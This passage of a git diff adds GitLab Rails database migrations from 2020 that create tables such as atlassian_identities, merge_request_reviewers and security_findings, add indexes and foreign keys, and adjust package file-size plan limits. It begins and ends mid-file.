+ add_concurrent_index :packages_packages, [:project_id, :name, :version], unique: true, where: "package_type = #{PACKAGE_TYPE_GENERIC}", name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name(:packages_packages, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20200821194920_create_atlassian_identities.rb b/db/migrate/20200821194920_create_atlassian_identities.rb
new file mode 100644
index 00000000000..1aab9ed6381
--- /dev/null
+++ b/db/migrate/20200821194920_create_atlassian_identities.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+class CreateAtlassianIdentities < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:atlassian_identities)
+ with_lock_retries do
+ create_table :atlassian_identities, id: false do |t|
+ t.references :user, index: false, foreign_key: { on_delete: :cascade }, null: false, primary_key: true
+ t.timestamps_with_timezone
+ t.datetime_with_timezone :expires_at
+ t.text :extern_uid, null: false, index: { unique: true }
+ t.binary :encrypted_token
+ t.binary :encrypted_token_iv
+ t.binary :encrypted_refresh_token
+ t.binary :encrypted_refresh_token_iv
+ end
+ end
+ end
+
+ add_text_limit :atlassian_identities, :extern_uid, 255
+
+ add_check_constraint :atlassian_identities, 'octet_length(encrypted_token) <= 2048', 'atlassian_identities_token_length_constraint'
+ add_check_constraint :atlassian_identities, 'octet_length(encrypted_token_iv) <= 12', 'atlassian_identities_token_iv_length_constraint'
+ add_check_constraint :atlassian_identities, 'octet_length(encrypted_refresh_token) <= 512', 'atlassian_identities_refresh_token_length_constraint'
+ add_check_constraint :atlassian_identities, 'octet_length(encrypted_refresh_token_iv) <= 12', 'atlassian_identities_refresh_token_iv_length_constraint'
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :atlassian_identities
+ end
+ end
+end
diff --git a/db/migrate/20200824045812_add_generic_package_max_file_size_to_plan_limits.rb b/db/migrate/20200824045812_add_generic_package_max_file_size_to_plan_limits.rb
new file mode 100644
index 00000000000..eea4f8de7bf
--- /dev/null
+++ b/db/migrate/20200824045812_add_generic_package_max_file_size_to_plan_limits.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddGenericPackageMaxFileSizeToPlanLimits < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column(:plan_limits, :generic_packages_max_file_size, :bigint, default: 5.gigabytes, null: false)
+ end
+end
diff --git a/db/migrate/20200824124623_create_issuable_severities.rb b/db/migrate/20200824124623_create_issuable_severities.rb
new file mode 100644
index 00000000000..674a54fc16d
--- /dev/null
+++ b/db/migrate/20200824124623_create_issuable_severities.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class CreateIssuableSeverities < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ create_table :issuable_severities do |t|
+ t.references :issue, index: { unique: true }, null: false, foreign_key: { on_delete: :cascade }
+ t.integer :severity, null: false, default: 0, limit: 2 # 0 - will stand for unknown
+ end
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :issuable_severities
+ end
+ end
+end
diff --git a/db/migrate/20200825071735_create_merge_request_reviewers.rb b/db/migrate/20200825071735_create_merge_request_reviewers.rb
new file mode 100644
index 00000000000..45451476bb0
--- /dev/null
+++ b/db/migrate/20200825071735_create_merge_request_reviewers.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class CreateMergeRequestReviewers < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ create_table :merge_request_reviewers do |t|
+ t.bigint :user_id, null: false
+ t.bigint :merge_request_id, null: false
+ t.datetime_with_timezone :created_at, null: false
+ end
+
+ add_index :merge_request_reviewers, [:merge_request_id, :user_id], unique: true
+ add_index :merge_request_reviewers, :user_id
+ end
+
+ def down
+ drop_table :merge_request_reviewers
+ end
+end
diff --git a/db/migrate/20200825081025_boards_epic_user_preferences.rb b/db/migrate/20200825081025_boards_epic_user_preferences.rb
new file mode 100644
index 00000000000..fc7454a6a9a
--- /dev/null
+++ b/db/migrate/20200825081025_boards_epic_user_preferences.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class BoardsEpicUserPreferences < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ create_table :boards_epic_user_preferences do |t|
+ t.bigint :board_id, null: false
+ t.bigint :user_id, null: false
+ t.bigint :epic_id, null: false
+ t.boolean :collapsed, default: false, null: false
+ end
+
+ add_index :boards_epic_user_preferences, :board_id
+ add_index :boards_epic_user_preferences, :user_id
+ add_index :boards_epic_user_preferences, :epic_id
+ add_index :boards_epic_user_preferences, [:board_id, :user_id, :epic_id], unique: true, name: 'index_boards_epic_user_preferences_on_board_user_epic_unique'
+ end
+
+ def down
+ drop_table :boards_epic_user_preferences
+ end
+end
diff --git a/db/migrate/20200825081035_boards_epic_user_preferences_fk_board.rb b/db/migrate/20200825081035_boards_epic_user_preferences_fk_board.rb
new file mode 100644
index 00000000000..eb52cadaecf
--- /dev/null
+++ b/db/migrate/20200825081035_boards_epic_user_preferences_fk_board.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class BoardsEpicUserPreferencesFkBoard < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_foreign_key :boards_epic_user_preferences, :boards, column: :board_id, on_delete: :cascade # rubocop: disable Migration/AddConcurrentForeignKey
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :boards_epic_user_preferences, column: :board_id
+ end
+ end
+end
diff --git a/db/migrate/20200825081045_boards_epic_user_preferences_fk_user.rb b/db/migrate/20200825081045_boards_epic_user_preferences_fk_user.rb
new file mode 100644
index 00000000000..98d0a5b64f6
--- /dev/null
+++ b/db/migrate/20200825081045_boards_epic_user_preferences_fk_user.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class BoardsEpicUserPreferencesFkUser < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_foreign_key :boards_epic_user_preferences, :users, column: :user_id, on_delete: :cascade # rubocop: disable Migration/AddConcurrentForeignKey
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :boards_epic_user_preferences, column: :user_id
+ end
+ end
+end
diff --git a/db/migrate/20200825081055_boards_epic_user_preferences_fk_epic.rb b/db/migrate/20200825081055_boards_epic_user_preferences_fk_epic.rb
new file mode 100644
index 00000000000..46498f186c4
--- /dev/null
+++ b/db/migrate/20200825081055_boards_epic_user_preferences_fk_epic.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class BoardsEpicUserPreferencesFkEpic < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_foreign_key :boards_epic_user_preferences, :epics, column: :epic_id, on_delete: :cascade # rubocop: disable Migration/AddConcurrentForeignKey
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :boards_epic_user_preferences, column: :epic_id
+ end
+ end
+end
diff --git a/db/migrate/20200825084819_create_security_findings_table.rb b/db/migrate/20200825084819_create_security_findings_table.rb
new file mode 100644
index 00000000000..d44b4671e2f
--- /dev/null
+++ b/db/migrate/20200825084819_create_security_findings_table.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class CreateSecurityFindingsTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:security_findings)
+ create_table :security_findings do |t|
+ t.references :scan, null: false
+ t.references :scanner, null: false
+ t.integer :severity, limit: 2, index: true, null: false
+ t.integer :confidence, limit: 2, index: true, null: false
+ t.text :project_fingerprint, index: true, null: false
+ end
+ end
+
+ add_text_limit :security_findings, :project_fingerprint, 40
+ end
+
+ def down
+ drop_table :security_findings
+ end
+end
diff --git a/db/migrate/20200825154237_update_package_file_size_plan_limits_defaults.rb b/db/migrate/20200825154237_update_package_file_size_plan_limits_defaults.rb
new file mode 100644
index 00000000000..b71e2a86f4a
--- /dev/null
+++ b/db/migrate/20200825154237_update_package_file_size_plan_limits_defaults.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class UpdatePackageFileSizePlanLimitsDefaults < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ change_column_default(:plan_limits, :maven_max_file_size, from: 50.megabytes, to: 3.gigabytes)
+ change_column_default(:plan_limits, :conan_max_file_size, from: 50.megabytes, to: 3.gigabytes)
+ change_column_default(:plan_limits, :nuget_max_file_size, from: 50.megabytes, to: 500.megabytes)
+ change_column_default(:plan_limits, :npm_max_file_size, from: 50.megabytes, to: 500.megabytes)
+ change_column_default(:plan_limits, :pypi_max_file_size, from: 50.megabytes, to: 3.gigabytes)
+ end
+end
diff --git a/db/migrate/20200825180050_add_pipeline_artifacts_size_to_root_storage_statistics.rb b/db/migrate/20200825180050_add_pipeline_artifacts_size_to_root_storage_statistics.rb
new file mode 100644
index 00000000000..069480c6887
--- /dev/null
+++ b/db/migrate/20200825180050_add_pipeline_artifacts_size_to_root_storage_statistics.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddPipelineArtifactsSizeToRootStorageStatistics < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_column :namespace_root_storage_statistics, :pipeline_artifacts_size, :bigint, default: 0, null: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :namespace_root_storage_statistics, :pipeline_artifacts_size, :bigint, default: 0, null: false
+ end
+ end
+end
diff --git a/db/migrate/20200826073745_add_default_to_ci_pipeline_locked.rb b/db/migrate/20200826073745_add_default_to_ci_pipeline_locked.rb
new file mode 100644
index 00000000000..e73963043d5
--- /dev/null
+++ b/db/migrate/20200826073745_add_default_to_ci_pipeline_locked.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class AddDefaultToCiPipelineLocked < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ # Set this constant to true if this migration requires downtime.
+ DOWNTIME = false
+
+ ARTIFACTS_LOCKED = 1
+ UNLOCKED = 0
+
+ def up
+ with_lock_retries do
+ change_column_default :ci_pipelines, :locked, ARTIFACTS_LOCKED
+ end
+ end
+
+ def down
+ with_lock_retries do
+ change_column_default :ci_pipelines, :locked, UNLOCKED
+ end
+ end
+end
diff --git a/db/migrate/20200826092324_add_projects_index_on_import_type_creator_id_created_at.rb b/db/migrate/20200826092324_add_projects_index_on_import_type_creator_id_created_at.rb
new file mode 100644
index 00000000000..94d2e5cb4ab
--- /dev/null
+++ b/db/migrate/20200826092324_add_projects_index_on_import_type_creator_id_created_at.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddProjectsIndexOnImportTypeCreatorIdCreatedAt < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_imported_projects_on_import_type_creator_id_created_at'.freeze
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :projects,
+ [:import_type, :creator_id, :created_at],
+ where: 'import_type IS NOT NULL',
+ name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :projects, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20200826212800_add_index_on_merge_request_id_and_rule_type_to_approval_merge_request_rule.rb b/db/migrate/20200826212800_add_index_on_merge_request_id_and_rule_type_to_approval_merge_request_rule.rb
new file mode 100644
index 00000000000..a40e09648ef
--- /dev/null
+++ b/db/migrate/20200826212800_add_index_on_merge_request_id_and_rule_type_to_approval_merge_request_rule.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class AddIndexOnMergeRequestIdAndRuleTypeToApprovalMergeRequestRule < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = "approval_mr_rule_index_merge_request_id"
+
+ def up
+ add_concurrent_index(
+ :approval_merge_request_rules,
+ :merge_request_id,
+ name: INDEX_NAME
+ )
+ end
+
+ def down
+ remove_concurrent_index_by_name :approval_merge_request_rules, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20200827005322_add_creator_id_to_packages.rb b/db/migrate/20200827005322_add_creator_id_to_packages.rb
new file mode 100644
index 00000000000..ecd73ff8785
--- /dev/null
+++ b/db/migrate/20200827005322_add_creator_id_to_packages.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddCreatorIdToPackages < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column(:packages_packages, :creator_id, :integer)
+ end
+end
diff --git a/db/migrate/20200827060911_add_merge_request_foreign_key_to_merge_request_reviewers.rb b/db/migrate/20200827060911_add_merge_request_foreign_key_to_merge_request_reviewers.rb
new file mode 100644
index 00000000000..dc3356375fd
--- /dev/null
+++ b/db/migrate/20200827060911_add_merge_request_foreign_key_to_merge_request_reviewers.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class AddMergeRequestForeignKeyToMergeRequestReviewers < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_foreign_key :merge_request_reviewers, :merge_requests, column: :merge_request_id, on_delete: :cascade # rubocop:disable Migration/AddConcurrentForeignKey
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :merge_request_reviewers, column: :merge_request_id
+ end
+ end
+end
diff --git a/db/migrate/20200827060932_add_user_foreign_key_to_merge_request_reviewers.rb b/db/migrate/20200827060932_add_user_foreign_key_to_merge_request_reviewers.rb
new file mode 100644
index 00000000000..d6c6985a668
--- /dev/null
+++ b/db/migrate/20200827060932_add_user_foreign_key_to_merge_request_reviewers.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class AddUserForeignKeyToMergeRequestReviewers < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_foreign_key :merge_request_reviewers, :users, column: :user_id, on_delete: :cascade # rubocop:disable Migration/AddConcurrentForeignKey
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :merge_request_reviewers, column: :user_id
+ end
+ end
+end
diff --git a/db/migrate/20200827085101_add_seats_currently_in_use_in_gitlab_subscriptions.rb b/db/migrate/20200827085101_add_seats_currently_in_use_in_gitlab_subscriptions.rb
new file mode 100644
index 00000000000..83f2d573b6d
--- /dev/null
+++ b/db/migrate/20200827085101_add_seats_currently_in_use_in_gitlab_subscriptions.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddSeatsCurrentlyInUseInGitlabSubscriptions < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_column :gitlab_subscriptions, :seats_in_use, :integer, default: 0, null: false
+ add_column :gitlab_subscriptions, :seats_owed, :integer, default: 0, null: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :gitlab_subscriptions, :seats_in_use
+ remove_column :gitlab_subscriptions, :seats_owed
+ end
+ end
+end
diff --git a/db/migrate/20200827102234_add_ci_job_artifact_id_to_pages_metadata.rb b/db/migrate/20200827102234_add_ci_job_artifact_id_to_pages_metadata.rb
new file mode 100644
index 00000000000..4109c512f14
--- /dev/null
+++ b/db/migrate/20200827102234_add_ci_job_artifact_id_to_pages_metadata.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddCiJobArtifactIdToPagesMetadata < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column(:project_pages_metadata, :artifacts_archive_id, :bigint)
+ end
+end
diff --git a/db/migrate/20200827104432_add_foreign_key_to_artifacts_archive_id_in_pages_metadata.rb b/db/migrate/20200827104432_add_foreign_key_to_artifacts_archive_id_in_pages_metadata.rb
new file mode 100644
index 00000000000..90451ad597a
--- /dev/null
+++ b/db/migrate/20200827104432_add_foreign_key_to_artifacts_archive_id_in_pages_metadata.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToArtifactsArchiveIdInPagesMetadata < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ INDEX_NAME = "index_project_pages_metadata_on_artifacts_archive_id"
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index(:project_pages_metadata, :artifacts_archive_id, name: INDEX_NAME)
+ add_concurrent_foreign_key(:project_pages_metadata, :ci_job_artifacts, column: :artifacts_archive_id, on_delete: :nullify)
+ end
+
+ def down
+ remove_foreign_key_if_exists(:project_pages_metadata, :ci_job_artifacts, column: :artifacts_archive_id)
+ remove_concurrent_index_by_name(:project_pages_metadata, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20200827114902_create_analytics_instance_statistics_measurements.rb b/db/migrate/20200827114902_create_analytics_instance_statistics_measurements.rb
new file mode 100644
index 00000000000..f8584d4b9f6
--- /dev/null
+++ b/db/migrate/20200827114902_create_analytics_instance_statistics_measurements.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class CreateAnalyticsInstanceStatisticsMeasurements < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+ UNIQUE_INDEX_NAME = 'index_on_instance_statistics_recorded_at_and_identifier'
+
+ def change
+ create_table :analytics_instance_statistics_measurements do |t|
+ t.bigint :count, null: false
+ t.datetime_with_timezone :recorded_at, null: false
+ t.integer :identifier, limit: 2, null: false
+ end
+
+ add_index :analytics_instance_statistics_measurements, [:identifier, :recorded_at], unique: true, name: UNIQUE_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20200827142811_create_merge_request_diff_details.rb b/db/migrate/20200827142811_create_merge_request_diff_details.rb
new file mode 100644
index 00000000000..29b070bc675
--- /dev/null
+++ b/db/migrate/20200827142811_create_merge_request_diff_details.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class CreateMergeRequestDiffDetails < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:merge_request_diff_details)
+ with_lock_retries do
+ create_table :merge_request_diff_details, id: false do |t|
+ t.references :merge_request_diff, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
+ t.datetime_with_timezone :verification_retry_at
+ t.datetime_with_timezone :verified_at
+ t.integer :verification_retry_count, limit: 2
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+ t.text :verification_failure
+ end
+ end
+ end
+
+ add_text_limit :merge_request_diff_details, :verification_failure, 255
+ end
+
+ def down
+ drop_table :merge_request_diff_details
+ end
+end
diff --git a/db/migrate/20200827150057_add_index_expire_at_to_pipeline_artifacts.rb b/db/migrate/20200827150057_add_index_expire_at_to_pipeline_artifacts.rb
new file mode 100644
index 00000000000..0a1943aa58b
--- /dev/null
+++ b/db/migrate/20200827150057_add_index_expire_at_to_pipeline_artifacts.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexExpireAtToPipelineArtifacts < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_ci_pipeline_artifacts_on_expire_at'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_pipeline_artifacts, :expire_at, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name(:ci_pipeline_artifacts, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20200828155134_add_foreign_key_on_scan_id_to_security_scans.rb b/db/migrate/20200828155134_add_foreign_key_on_scan_id_to_security_scans.rb
new file mode 100644
index 00000000000..612bd79a282
--- /dev/null
+++ b/db/migrate/20200828155134_add_foreign_key_on_scan_id_to_security_scans.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddForeignKeyOnScanIdToSecurityScans < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_foreign_key :security_findings, :security_scans, column: :scan_id, on_delete: :cascade # rubocop:disable Migration/AddConcurrentForeignKey
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :security_findings, column: :scan_id
+ end
+ end
+end
diff --git a/db/migrate/20200828155205_add_foreign_key_on_scanner_id_to_vulnerability_scanners.rb b/db/migrate/20200828155205_add_foreign_key_on_scanner_id_to_vulnerability_scanners.rb
new file mode 100644
index 00000000000..eb3e878c8be
--- /dev/null
+++ b/db/migrate/20200828155205_add_foreign_key_on_scanner_id_to_vulnerability_scanners.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddForeignKeyOnScannerIdToVulnerabilityScanners < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_foreign_key :security_findings, :vulnerability_scanners, column: :scanner_id, on_delete: :cascade # rubocop:disable Migration/AddConcurrentForeignKey
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :security_findings, column: :scanner_id
+ end
+ end
+end
diff --git a/db/migrate/20200830201204_add_index_to_package_creator.rb b/db/migrate/20200830201204_add_index_to_package_creator.rb
new file mode 100644
index 00000000000..fbc8bbade94
--- /dev/null
+++ b/db/migrate/20200830201204_add_index_to_package_creator.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddIndexToPackageCreator < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_packages_packages_on_creator_id'
+
+ def up
+ add_concurrent_index :packages_packages, :creator_id, name: INDEX_NAME
+ add_concurrent_foreign_key(:packages_packages, :users, column: :creator_id, on_delete: :nullify)
+ end
+
+ def down
+ remove_foreign_key_if_exists(:packages_packages, :users, column: :creator_id)
+ remove_concurrent_index_by_name(:packages_packages, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20200901203055_add_id_created_at_index_to_packages.rb b/db/migrate/20200901203055_add_id_created_at_index_to_packages.rb
new file mode 100644
index 00000000000..d92309e3fef
--- /dev/null
+++ b/db/migrate/20200901203055_add_id_created_at_index_to_packages.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddIdCreatedAtIndexToPackages < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_packages_packages_on_id_and_created_at'
+
+ def up
+ add_concurrent_index :packages_packages, [:id, :created_at], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name(:packages_packages, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20200901214416_change_pypi_python_version_type.rb b/db/migrate/20200901214416_change_pypi_python_version_type.rb
new file mode 100644
index 00000000000..b670b2129c2
--- /dev/null
+++ b/db/migrate/20200901214416_change_pypi_python_version_type.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class ChangePypiPythonVersionType < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ change_column_type_concurrently :packages_pypi_metadata, :required_python, :text, batch_column_name: :package_id # rubocop:disable Migration/AddLimitToTextColumns
+ end
+
+ def down
+ cleanup_concurrent_column_type_change(:packages_pypi_metadata, :required_python)
+ change_column_null :packages_pypi_metadata, :required_python, false
+ end
+end
diff --git a/db/migrate/20200902135542_update_package_max_file_size_plan_limits.rb b/db/migrate/20200902135542_update_package_max_file_size_plan_limits.rb
new file mode 100644
index 00000000000..0ba8f12f89e
--- /dev/null
+++ b/db/migrate/20200902135542_update_package_max_file_size_plan_limits.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+class UpdatePackageMaxFileSizePlanLimits < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ # this is intended to be a no-op for GitLab.com
+ # 5GB is the value for these columns as of 2020-09-02
+ if Gitlab.com?
+ update_all_plan_limits('conan_max_file_size', 5.gigabytes)
+ update_all_plan_limits('maven_max_file_size', 5.gigabytes)
+ update_all_plan_limits('npm_max_file_size', 5.gigabytes)
+ update_all_plan_limits('nuget_max_file_size', 5.gigabytes)
+ update_all_plan_limits('pypi_max_file_size', 5.gigabytes)
+ else
+ update_all_plan_limits('conan_max_file_size', 3.gigabytes)
+ update_all_plan_limits('maven_max_file_size', 3.gigabytes)
+ update_all_plan_limits('npm_max_file_size', 500.megabytes)
+ update_all_plan_limits('nuget_max_file_size', 500.megabytes)
+ update_all_plan_limits('pypi_max_file_size', 3.gigabytes)
+ end
+ end
+
+ def down
+ update_all_plan_limits('conan_max_file_size', 50.megabytes)
+ update_all_plan_limits('maven_max_file_size', 50.megabytes)
+ update_all_plan_limits('npm_max_file_size', 50.megabytes)
+ update_all_plan_limits('nuget_max_file_size', 50.megabytes)
+ update_all_plan_limits('pypi_max_file_size', 50.megabytes)
+ end
+
+ private
+
+ def update_all_plan_limits(limit_name, limit_value)
+ limit_name_quoted = quote_column_name(limit_name)
+ limit_value_quoted = quote(limit_value)
+
+ execute <<~SQL
+ UPDATE plan_limits
+ SET #{limit_name_quoted} = #{limit_value_quoted};
+ SQL
+ end
+end
diff --git a/db/migrate/20200903054946_add_elasticsearch_client_timeout.rb b/db/migrate/20200903054946_add_elasticsearch_client_timeout.rb
new file mode 100644
index 00000000000..93e70461641
--- /dev/null
+++ b/db/migrate/20200903054946_add_elasticsearch_client_timeout.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class AddElasticsearchClientTimeout < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :application_settings, :elasticsearch_client_request_timeout, :integer, null: false, default: 0
+ end
+end
diff --git a/db/migrate/20200903092241_add_index_to_resource_iteration_events_add_events.rb b/db/migrate/20200903092241_add_index_to_resource_iteration_events_add_events.rb
new file mode 100644
index 00000000000..be530f1f9b5
--- /dev/null
+++ b/db/migrate/20200903092241_add_index_to_resource_iteration_events_add_events.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddIndexToResourceIterationEventsAddEvents < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_resource_iteration_events_on_iteration_id_and_add_action'
+ ADD_ACTION = '1'
+
+ def up
+ # Index add iteration events
+ add_concurrent_index :resource_iteration_events, :iteration_id, where: "action = #{ADD_ACTION}", name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index :resource_iteration_events, :iteration_id, name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20200904092131_add_merge_ref_sha_to_merge_requests.rb b/db/migrate/20200904092131_add_merge_ref_sha_to_merge_requests.rb
new file mode 100644
index 00000000000..a490bc8fe07
--- /dev/null
+++ b/db/migrate/20200904092131_add_merge_ref_sha_to_merge_requests.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddMergeRefShaToMergeRequests < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_column :merge_requests, :merge_ref_sha, :binary
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :merge_requests, :merge_ref_sha
+ end
+ end
+end
diff --git a/db/migrate/20200904131544_create_ci_build_pending_states.rb b/db/migrate/20200904131544_create_ci_build_pending_states.rb
new file mode 100644
index 00000000000..2c21ce3ce32
--- /dev/null
+++ b/db/migrate/20200904131544_create_ci_build_pending_states.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class CreateCiBuildPendingStates < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ create_table :ci_build_pending_states do |t|
+ t.timestamps_with_timezone
+ t.references :build, index: { unique: true }, null: false, foreign_key: { to_table: :ci_builds, on_delete: :cascade }, type: :bigint
+ t.integer :state
+ t.integer :failure_reason
+ t.binary :trace_checksum
+ end
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :ci_build_pending_states
+ end
+ end
+end
diff --git a/db/migrate/20200907021256_create_dast_site_tokens.rb b/db/migrate/20200907021256_create_dast_site_tokens.rb
new file mode 100644
index 00000000000..a8e221aef69
--- /dev/null
+++ b/db/migrate/20200907021256_create_dast_site_tokens.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+class CreateDastSiteTokens < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
